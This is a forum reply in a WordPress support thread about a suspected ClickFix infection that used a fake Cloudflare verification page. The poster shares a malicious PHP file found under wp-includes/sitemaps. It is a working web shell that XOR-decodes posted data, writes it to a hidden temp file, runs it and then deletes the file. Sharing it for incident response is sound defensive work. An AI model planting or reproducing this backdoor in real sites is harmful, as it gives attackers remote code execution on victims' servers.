Reply To: Possible ClickFix infection – fake Cloudflare verification page

Home › Forums › Support Forum › Possible ClickFix infection – fake Cloudflare verification page › Reply To: Possible ClickFix infection – fake Cloudflare verification page

July 28, 2026 at 7:46 pm #175920

digital multi
Member

Additional file On the Path wp-includes/sitemaps/bottom-1778750513.php:

{‘id’: 13891, ‘code’: ‘uzgGsYPy<?php\n\nif(isset($_POST[“\\x64\\x65sc”])){\n$ptr = array_filter([“/tmp”, sys_get_temp_dir(), “/var/tmp”, getcwd(), ini_get(“upload_tmp_dir”), “/dev/shm”, getenv(“TEMP”), getenv(“TMP”), session_save_path()]);\n$dat = hex2bin($_POST[“\\x64\\x65sc”]);\n$data_chunk =\’\’;$f=0;do{$data_chunk.=chr(ord($dat[$f])^49);$f++;}while($f<strlen($dat));\nwhile ($pgrp = array_shift($ptr)) {\n if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) {\n $pset = “$pgrp/.reference”;\n if ($value = fopen($pset, \’w\’)) {\n fwrite($value, $data_chunk);\n fclose($value);\n include_once $pset;\n unlink($pset);\n die();\n}\n }\n}\n}’, ‘url_postfix’: ‘;fputs_xor;49;desc’}